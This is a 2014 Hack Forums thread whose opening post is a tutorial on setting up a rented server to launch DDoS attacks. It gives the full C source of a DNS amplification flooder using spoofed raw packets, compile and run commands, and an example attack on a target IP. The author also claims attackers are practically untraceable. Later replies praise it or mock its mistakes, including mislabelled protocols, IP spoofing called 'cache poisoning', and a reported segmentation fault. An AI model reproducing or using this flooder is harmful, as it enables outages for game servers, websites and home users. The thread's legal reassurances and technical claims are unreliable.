

Forum:[Hack Forums](#)

Thread: [\[Huge Tutorial\] How to: Spoof, Amplify, and set-up a server to DDoS](#)

Da? ?ae - October 17, 2014, 4:33 pm

Hey everyone, this tutorial is going to be a work-in-progress, and I plan to make it as detailed and easy on the eyes as possible.

This is MY tutorial, on how to successfully spoof, DNS amplify, and load scripts into a dedicated ec2 server to use it for DDoSing.

How to: IP Spoof / DNS Amplify / Create an attack server



Table of Contents:

1. What you will need
2. Needed information
3. Buying & Setting up Dedicated Server
4. DNS Cache Poisoning (IP Spoofing) Server
5. DNS Amplifying Server
6. Setting up attack scripts

1. What you will need: To start an attack server, you will obviously need some money to start / run this project. Depending on the power you want to be able to use, you'll need around 100-200\$ to start off.

Obviously a computer, accessible to the internet

DDoS Attack Scripts:

Layer 4:

- UDP: <https://hackforums.net/showthread.php?tid=1461329>

- SYN: <https://hackforums.net/archive/index.php/thread-293015.html>

Layer 7:

Coming soon

WinSCP - <http://winscp.net/eng/download.php>

PuTTY(to connect to server, send attacks etc) -

<http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>

2. Needed Information:

What is a DDoS?

A DDoS (Distributed Denial of Service) is flooding traffic to a specific target, be it a game server, web server, home connection, or any network, to an extent that it severely slows down connection time, or completely drops it's net. The reason it's called a DDoS not DoS is because the attack is distributed through multiple resources, to make one large attack.

How would my server send attacks?

Your server, after following this tutorial, if done right will be utilizing DNS nameserver lists to spread the attack, but more importantly it will be using it's dedicated resources to send traffic from itself. With the help of the DNS amplification list, it will be a strong hitting attack, capable of taking down game servers, web servers, or home connections.

Consequences of carrying out a DDoS:

As most people get DDoSed, there are really no "police" to be able to enforce laws against

DDoSing. Most times, victims can call their ISP, and they will check into it of course, but with a spoofed response server, you're practically un-findable.

However, use of the server against government run websites, or high-profile websites could be risky, as they can/will investigate, and may or may not find you. You're fine, really. Just know what you're doing, and be smart about it.

3. Buying & Setting up the Dedicated Server:

To start you off, you're going to need to pick into that investment cash, and purchase yourself a dedicated server. If you want the best results, follow my steps and purchase an ecatel server.

You can buy yourself an Ecotel server here: <http://ecatel.info/dedicated.php>

NOTE: Select Cent OS 6 as your operating system

For this tutorial, i'm going to use my QC-R210-E31230V2 server.

Any servers from them work, but I'd buy one that's at LEAST 80\$ or more.

After this is bought, you'll want to start getting WinSCP / PuTTY (in the first section) and connect to the server on WinSCP. Now we're ready to begin spoofing the server.

4. DNS Cache Poisoning (IP Spoofing)

Ecotel's servers are already enabled with IP spoofing, ergo there is no real work to be done for this, this is just an informational section to explain a bit more.

5. DNS Amplifying your server

To DNS Amplify your server, we're going to need to look for some DNS amp lists. I'd suggest using this thread, and scrolling down to find the links to pasted DNS Amp lists.

<https://hackforums.net/showthread.php?tid=3819995>

Once you've downloaded the lists, you'll want to upload it to your server via WinSCP, then begin the process of adding the attacks.

Uploading it to your server is extremely easy, log-in with WinSCP and you will see. Keep it's name the same.

6. Setting up attack scripts

Now we're at our final stage in the attack Server.

You have many choices here, attack wise.

First we will start with a DNS Amplification attack.

We're going to need to install GCC on our server, depending on your OS here is the command

Cent OS: `yum install gcc`

Linux: `apt-get install gcc`

Then, you will want to compile yourself a DNS Amp Attack script. Doing so is very easy:

- Copy this, paste it in notepad as "anything.c"

```
Code #include <time.h>
```

```
#include <pthread.h>
```

```
#include <unistd.h>
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```

#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 15

static uint32_t Q[4096], c = 362436;

struct list
{
    struct sockaddr_in data;
    char domain[512];
    int line;
    struct list *next;
    struct list *prev;
};
struct list *head;

struct thread_data{
    int thread_id;
    struct list *list_node;
    struct sockaddr_in sin;
    int port;
};

struct DNS_HEADER
{
    unsigned short id; // identification number

    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritative answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag

    unsigned char rcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available

    unsigned short q_count; // number of question entries
    unsigned short ans_count; // number of answer entries
    unsigned short auth_count; // number of authority entries
    unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION

```

```

{
    unsigned short qtype;
    unsigned short qclass;
};

//Constant sized fields of the resource record structure
struct QUERY
{
    unsigned char *name;
    struct QUESTION *ques;
};

void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
    int lock = 0 , i;
    strcat((char*)host,".");

    for(i = 0 ; i < strlen((char*)host) ; i++)
    {
        if(host[i]=='.')
        {
            *dns++ = i-lock;
            for(;lock<i;lock++)
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='\0';
}

void init_rand(uint32_t x)
{
    int i;

    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;

    for (i = 3; i < 4096; i++)
        Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
    uint64_t t, a = 18782LL;
    static uint32_t i = 4095;
    uint32_t x, r = 0xffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
}

```

```

    if (x < c) {
        x++;
        c++;
    }
    return (Q[i] = r - x);
}

```

```

/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

```

```

void setup_udp_header(struct udphdr *udph)
{
}

```

```

void *flood(void *par1)
{
    struct thread_data *td = (struct thread_data *)par1;

    char strPacket[MAX_PACKET_SIZE];
    int iPayloadSize = 0;

    struct sockaddr_in sin = td->sin;
    struct list *list_node = td->list_node;
    int iPort = td->port;

    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if(s < 0)
    {
        fprintf(stderr, "Could not open raw socket. You need to be root!\n");
        exit(-1);
    }

    //init random
    init_rand(time(NULL));

    // Clear the data
    memset(strPacket, 0, MAX_PACKET_SIZE);

    // Make the packet
    struct iphdr *iph = (struct iphdr *) &strPacket;
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + 38;
}

```

```
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.5.100");
```

```
iPayloadSize += sizeof(struct iphdr);
```

```
struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
udph->source = htons(iPort);
udph->dest = htons(53);
udph->check = 0;
```

```
iPayloadSize += sizeof(struct udphdr);
```

```
struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
dns->id = (unsigned short) htons(rand_cmw());
dns->qr = 0; //This is a query
dns->opcode = 0; //This is a standard query
dns->aa = 0; //Not Authoritative
dns->tc = 0; //This message is not truncated
dns->rd = 1; //Recursion Desired
dns->ra = 0; //Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->ad = 0;
dns->cd = 0;
dns->rcode = 0;
dns->q_count = htons(1); //we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = htons(1);
```

```
iPayloadSize += sizeof(struct DNS_HEADER);
```

```
sin.sin_port = udph->source;
iph->saddr = sin.sin_addr.s_addr;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
```

```
char strDomain[512];
int i;
int j = 0;
int iAdditionalSize = 0;
while(1)
{
    if(j==2){
        usleep(100);
        j=0;
    }
}
```

```
//set the next node
list_node = list_node->next;
```

```

//Clear the old domain and question
memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);

//add the chosen domain and question
iAdditionalSize = 0;

unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];

strcpy(strDomain, list_node->domain);
ChangetoDnsNameFormat(qname, strDomain);
//printf("!!%s %d\n", list_node->domain, list_node->line);

iAdditionalSize += strlen(qname) + 1;

struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
qinfo->qclass = htons(1);

iAdditionalSize += sizeof(struct QUESTION);

strPacket[iPayloadSize + iAdditionalSize] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;

iAdditionalSize += 11;

//set new node data
iph->daddr = list_node->data.sin_addr.s_addr;

udph->len = htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
iph->tot_len = iPayloadSize + iAdditionalSize;

udph->source = htons(rand_cmw() & 0xFFFF);
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);

//send
for(i = 0; i < PACKETS_PER_RESOLVER; i++)
{
    //usleep(1);
    sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data,
sizeof(list_node->data));
}

```

```

    j++;
}
}

```

```

void ParseResolverLine(char *strLine, int iLine)

```

```

{
    char caIP[32] = "";
    char caDNS[512] = "";

    int i;
    char buffer[512] = "";

    int moved = 0;

    for(i = 0; i < strlen(strLine); i++)
    {
        if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
        {
            moved++;
            continue;
        }

        if(moved == 0)
        {
            caIP[strlen(caIP)] = (char) strLine[i];
        }
        else if(moved == 1)
        {
            caDNS[strlen(caDNS)] = (char) strLine[i];
        }
    }
    //printf("Found resolver %s, domain %s!\n", caIP, caDNS);

    if(head == NULL)
    {
        head = (struct list *)malloc(sizeof(struct list));

        bzero(&head->data, sizeof(head->data));

        head->data.sin_addr.s_addr=inet_addr(caIP);
        head->data.sin_port=htons(53);
        strcpy(head->domain, caDNS);
        head->line = iLine;
        head->next = head;
        head->prev = head;
    }
    else
    {
        struct list *new_node = (struct list *)malloc(sizeof(struct list));

        memset(new_node, 0x00, sizeof(struct list));

        new_node->data.sin_addr.s_addr=inet_addr(caIP);
    }
}

```

```

    new_node->data.sin_port=htons(53);
    strcpy(new_node->domain, caDNS);
    new_node->prev = head;
    head->line = iLine;
    new_node->next = head->next;
    head->next = new_node;
}
}

int main(int argc, char *argv[ ])
{
    if(argc < 4)
    {
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stderr, "DNS Flooder v1.1\nUsage: %s <target IP/hostname> <port to hit> <reflection file
(format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
        fprintf(stderr, "Reflection File Format:
<IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
        exit(-1);
    }

    // printf("1");
    head = NULL;

    char *strLine = (char *) malloc(256);
    strLine = memset(strLine, 0x00, 256);

    char strIP[32] = "";
    char strDomain[256] = "";

    int iLine = 0; // 0 = ip, 1 = domain.

    FILE *list_fd = fopen(argv[3], "r");
    while(fgets(strLine, 256, list_fd) != NULL)
    {
        ParseResolverLine(strLine, iLine);
        iLine++;
    }
    //printf("2");

    int i = 0;
    int num_threads = atoi(argv[4]);

    struct list *current = head->next;
    pthread_t thread[num_threads];
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(0);
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    struct thread_data td[num_threads];

    int iPort = atoi(argv[2]);
    //printf("3");

```

```
//printf("Target: %s:%d\n", argv[1], iPort);

for(i = 0; i < num_threads; i++)
{
    current = current->next;
    td[i].thread_id = i;
    td[i].sin= sin;
    td[i].list_node = current;
    td[i].port = iPort;
    pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
//printf("4");
// fprintf(stdout, "Starting Flood...\n");

if(argc > 4)
{
    sleep(atoi(argv[5]));
}
else
{
    while(1)
    {
        sleep(1);
    }
}
//printf("5");
return 0;
}
```

The name you save it as, is going to be the command you put for the server. Ergo jayhf.c would be
./jayhf blah blah blah

Now, upload this file to your server via WinSCP.

To compile it as just the name for a command, put this command in:

Code gcc filename.c -pthread -o commandname
Congratulations, you're done with your first script

To use this script, you'll want to use this command:

Code ./commandname TargetIP TargetPort LIST Threads Time
Information:

TargetIP: Obviously the IP address you want to stress

TargetPort: The port you wish to flood

LIST: The DNS Amp list you're using. BE SURE TO USE .txt at the end

Threads: It's recommended you use 5-10 depending on the servers CPU. More than 15 will crash the server.

Time: Obviously the time you wish to use

EXAMPLE OF USING COMMAND:

./jayhf 1.1.1.1 80 amplist.txt 7 10000

Hit: 1.1.1.1

Port: 80

List: Amplist.txt
Threads: 7
Time: 10000 (seconds)

Hope you all enjoyed this tutorial, I will be adding UDP/Layer 4 attack scripts and how to set them up in near time.

If you want to input anything, feel free to comment below or PM me

Centuries - October 17, 2014, 4:36 pm

Very nice tutorial jay pretty informational

?Pozdrav - October 17, 2014, 5:03 pm

Really really HQ tutorial lots of info good job hope to see more :)

Da? ?ae - October 17, 2014, 5:56 pm

(Oct 17, 2014 05:03 PM)TeamScreamHD Wrote: [\[CITE\]](#) Really really HQ tutorial lots of info good job hope to see more :)

Thanks for the feedback guys, gonna add UDP tomorrow!

?Pozdrav - October 17, 2014, 5:57 pm

(Oct 17, 2014 05:56 PM)JayHF Wrote: [\[CITE\]](#) Thanks for the feedback guys, gonna add UDP tomorrow!Ok I'll make sure to check it out :D

Despize - October 17, 2014, 6:09 pm

Great Tutorial man Hope it helps alot of members OP!!

Nakamoto - October 17, 2014, 7:35 pm

Great job Jay. This is nice but I would've liked to see a bit more detail. It's understandable though.

All in all, this is pretty good.

WillysFineCola - October 17, 2014, 9:31 pm

Good tutorial but I thought ecatel didn't spoof anymore...

Flash ? - October 17, 2014, 9:37 pm

Great HQ Tut Man good job :P ?

Narcissistic Behaviors - October 17, 2014, 9:43 pm

I didn't know UDP was layer 7? LOL?

And DNS amplification is outdated to be honest.

regexks_ - October 17, 2014, 10:30 pm

(Oct 17, 2014 04:33 PM)JayHF Wrote: [\[CITE\]](#) [*] DDoS Attack Scripts:
Layer 7:

- UDP: <https://hackforums.net/showthread.php?tid=1461329>

- SSYN: <https://hackforums.net/archive/index.php/thread-293015.html>

(Oct 17, 2014 04:33 PM)JayHF Wrote: [\[CITE\]](#) 4. DNS Cache Poisoning (IP Spoofing)

To DNS Cache Poison your server, if you are using Ecatel you will be able to open them a ticket, and request it to be enabled for your server. They do enable it by default, but most times it's not enabled, and you need to contact them. They'll respond pretty soon, and will be done for you. Now, let's start setting it up.

(Oct 17, 2014 04:33 PM)JayHF Wrote: [\[CITE\]](#) You're going to need your server to have GCC enabled, if you're unsure if it is enter this command:

Cent OS: yum install gcc

Linux: apt-get install gcc

(Oct 17, 2014 04:33 PM)JayHF Wrote: [\[CITE\]](#) Threads: It's recommended you use 5-10 depending on the servers CPU. More than 15 will crash the server.

WHAT??

IM FUCKING ROLLING

GOD

MY SIDES

Reeps - October 17, 2014, 10:35 pm

Very good HQ tutorial. If I could I would give you a +3.

Taranis - October 17, 2014, 10:45 pm

(Oct 17, 2014 10:30 PM)regexks_ Wrote: [\[CITE\]](#) WHAT??

IM FUCKING ROLLING

GOD

MY SIDES

AHAHAHAH I feel you there m8 !

You may wanna review both your sources and some of these statements op ?

Narcissistic Behaviors - October 17, 2014, 10:53 pm

(Oct 17, 2014 10:45 PM)Transe Wrote: [\[CITE\]](#) AHAHAHAH I feel you there m8 !

You may wanna review both your sources and some of these statements op ?

More like the whole fucking thread. No wonder this kid couldn't run a stresser. Between him and his partner 'pro doxer nutella' I don't know what to think.

regexks_ - October 17, 2014, 11:17 pm

(Oct 17, 2014 10:45 PM)Transe Wrote: [\[CITE\]](#) AHAHAHAH I feel you there m8 !

You may wanna review both your sources and some of these statements op ?

I wonder how many emails Ecatel receives every week requesting that Net::RawIP be enabled ?

Taranis - October 17, 2014, 11:23 pm

Lolz it wouldn't surprise myself if they got a few .

Or emails saying : Hello , my scripts dont run, can you please enable spoof ?

Narcissistic Behaviors - October 17, 2014, 11:29 pm

(Oct 17, 2014 11:23 PM)Transe Wrote: [\[CITE\]](#) Lolz it wouldn't surprise myself if they got a few .

Or emails saying : Hello , my scripts dont run, can you please enable spoof ?

ROFLLLLLL YOU TWO PLS STOP IM LOLING SO FUCKING HARD

Image™ - October 17, 2014, 11:31 pm

Nice tutorial posting so I can come back to it

R?eece? - October 18, 2014, 12:09 am

(Oct 17, 2014 10:30 PM)regexks_ Wrote: [\[CITE\]](#) WHAT??

IM FUCKING ROLLING

GOD

MY SIDES

LOOOOOOL WTF?

HAHAHAHAHAHAHAHAH ???

GOT THAT DNS CACHE POISON FUCKIN PERL SUDP HACKER SCRIPTS?

YES PM ECATEL AND ASK FOR POISON CACHE HAHA.

Narcissistic Behaviors - October 18, 2014, 12:12 am

(Oct 18, 2014 12:09 AM)Reece Wrote: [\[CITE\]](#) LOOOOOOL WTF?

HAHAHAHAHAHAHAHAH ???

GOT THAT DNS CACHE POISON FUCKIN PERL SUDP HACKER SCRIPTS?

YES PM ECATEL AND ASK FOR POISON CACHE HAHA.

HEY MAN BACK OFF ILL LAYER 7 YOU WITH MY TCP AND UDP SCRIPTS HACKER.

R?eece? - October 18, 2014, 12:22 am

(Oct 18, 2014 12:12 AM)Narcissistic Behaviors Wrote: [\[CITE\]](#) HEY MAN BACK OFF ILL LAYER 7 YOU WITH MY TCP AND UDP SCRIPTS HACKER.

DONT U FUCKIN DARE I HAVE NON SPOOF UDP PERL SCRIPT

Narcissistic Behaviors - October 18, 2014, 12:24 am

(Oct 18, 2014 12:22 AM)Reece Wrote: [\[CITE\]](#) DONT U FUCKIN DARE I HAVE NON SPOOF UDP PERL SCRIPT

I HAVE A PHP SCRIPT THAT WHEN YOU DDOS ME IT SENDS YOU A HTML VIRUS THAT DDOS'S YOU AND DELETES YOUR SKYPE AND SENDS YOUR DOX TO ALL IRC CHANNELS AND THEN IT HEXS YOUR IP AND MYSQL INJECTS YOUR MOTHERBOARD.

bulldawg2525 - October 18, 2014, 12:29 am

Whats a ddos from a single server going to do? Probably nothing. Even from several servers nothing. So i dont understand the point of this guide.

Narcissistic Behaviors - October 18, 2014, 12:31 am

(Oct 18, 2014 12:29 AM)bulldawg2525 Wrote: [\[CITE\]](#) Whats a ddos from a single server going to do? Probably nothing. Even from several servers nothing. So i dont understand the point of this guide. BECAUSE OP IS GOING TO LAYER 7 UDP YOUR IP TO DEATH HACKER.

LynS - October 18, 2014, 1:02 am

Good Tutorial.

Thanks For The Information ?

Da? ?ae - October 18, 2014, 8:19 am

Updated some of the thread. UDP will be done soon

Opak3 - October 18, 2014, 8:28 am

Wow, this was so well written and informational. Great tutorial OP.

I really appreciate the efforts put by you in making this ?

Sedo - *October 18, 2014, 8:29 am*

Very nice tutorial jay you are always very HQ with your threads really hope this works for people.

Narcissistic Behaviors - *October 18, 2014, 9:57 am*

I can't tell if all you guys are trolling when you say HQ thread or not. This is literally the worst piece of shit tutorial I've ever seen. OP has absolutely no idea wtf he's doing.

patios - *October 18, 2014, 10:19 am*

Why if I use command: `./commandname 1.1.1.1 80 amplist.txt 7 10000`

"Segmentation fault"

?

Narcissistic Behaviors - *October 18, 2014, 10:24 am*

(Oct 18, 2014 10:19 AM)patios Wrote: [\[CITE\]](#) Why if I use command: `./commandname 1.1.1.1 80 amplist.txt 7 10000`

"Segmentation fault"

?

Because you followed OPs tut and he's a dipshit. Also because your command isn't `./commandname`

It's in the script, read through it and find the syntax.